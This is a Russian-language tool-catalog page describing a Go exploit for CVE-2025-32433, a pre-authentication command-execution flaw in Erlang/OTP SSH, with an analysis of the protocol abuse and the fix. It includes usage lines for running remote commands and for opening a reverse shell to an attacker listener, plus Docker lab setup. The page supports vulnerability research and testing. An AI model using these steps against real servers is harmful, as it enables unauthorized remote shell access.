Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-32433-Remote-Shell — Эксплойт на Go для CVE-2025-32433 | Kitploit
Инструменты/GitHubGitHub/meloppeitreet/cve-2025-32433-remote-shell
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияШелл-кодТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubmeloppeitreet/cve-2025-32433-remote-shell

CVE-2025-32433-Remote-Shell

Эксплойт на Go для CVE-2025-32433

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
1 год назадЕщё не проверено

CVE-2025-32433 Удалённая оболочка

Эксплойт на Go для CVE-2025-32433, который возвращает удалённую bash-оболочку.

Во многом основано на понимании эксплойта, полученном из PoC от ProDefense для CVE-2025-32433.

Запуск эксплойта

root@kitploit:~
make

exploit.exe также доступен для Windows-машин благодаря Makefile с кросс-компиляцией.

затем запустите бинарный файл эксплойта одним из двух способов:

Команда

root@kitploit:~
./exploit <target-ip> <target-port> "<command>"

ПРИМЕЧАНИЕ: не возвращает вывод команды

Реверс-шелл

root@kitploit:~
nc -lnvp <attacker-port>
root@kitploit:~
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>

Настройка окружения

Используя Dockerfile от ProDefense, вы можете настроить окружение следующим образом:

root@kitploit:~
docker build -t "cve-2025-32433:Dockerfile" .
root@kitploit:~
docker run -p 2222:2222 cve-2025-32433:Dockerfile

Затем вы можете запустить эксплойт, как указано в разделе Запуск эксплойта: например,

root@kitploit:~
nc -lnvp 4444
root@kitploit:~
./exploit 127.0.0.1 2222 172.17.0.1 4444

172.17.0.1 — IP-адрес по умолчанию для хоста Docker.

Объяснение эксплойта

TL;DR «Проблема вызвана ошибкой в обработке сообщений протокола SSH, которая позволяет атакующему отправлять сообщения протокола соединения до аутентификации»

Типичная процедура SSH:

root@kitploit:~
SSH_MSG_KEXINIT

→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (key exchange)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS

→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST

Процедура эксплойта:

  1. TCP-соединение с жертвой
  2. Обмен баннером SSH
  3. SSH_MSG_KEXINIT
  4. SSH_MSG_CHANNEL_OPEN (до аутентификации)
  5. SSH_MSG_CHANNEL_REQUEST (до аутентификации) --> содержит полезную нагрузку команды

Обратите внимание, что в эксплойте пропускается вся часть USERAUTH.

Сводка сообщений

Соответствующие RFC для сообщений SSH:

  • RFC 4253: The Secure Shell (SSH) Transport Layer Protocol
  • RFC 4254: The Secure Shell (SSH) Connection Protocol

Номера сообщений

Номера сообщений в протоколе транспортного уровня SSH

Номера сообщений в протоколе соединения SSH

Форматы сообщений

SSH_MSG_KEXINIT

SSH_MSG_KEXINIT

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_REQUEST

SSH_MSG_CHANNEL_REQUEST

Прочие требования

Формат строки (из RFC 4251: The Secure Shell (SSH) Protocol Architecture)

Строка

Дополнение

Дополнение

Понимание исправления и эксплойта

Ниже приведено исправление, внесённое в библиотеки Erlang OTP в коммите ssh: early RCE fix:

handle_msg

Исправление вводит новое предложение handle_msg, которое, согласно его аргументам, перехватывает:

  • Msg: переменная, перехватывающая все входящие SSH-сообщения, которые ещё не были сопоставлены предыдущими предложениями (например, #ssh_msg_disconnect{})
  • #ssh{authenticated = false}: состояние сеанса, которое совпадает, если соединение ещё не было аутентифицировано.

Это предложение не будет перехватывать сеансы с флагом authenticated = true, который присваивается сеансу, когда сервер получает #ssh_msg_userauth_success{}:

authenticated = true

которое отправляется после успеха любого из следующих методов аутентификации:

методы аутентификации, отправляющие #ssh_msg_userauth_success{}

Скачать инструмент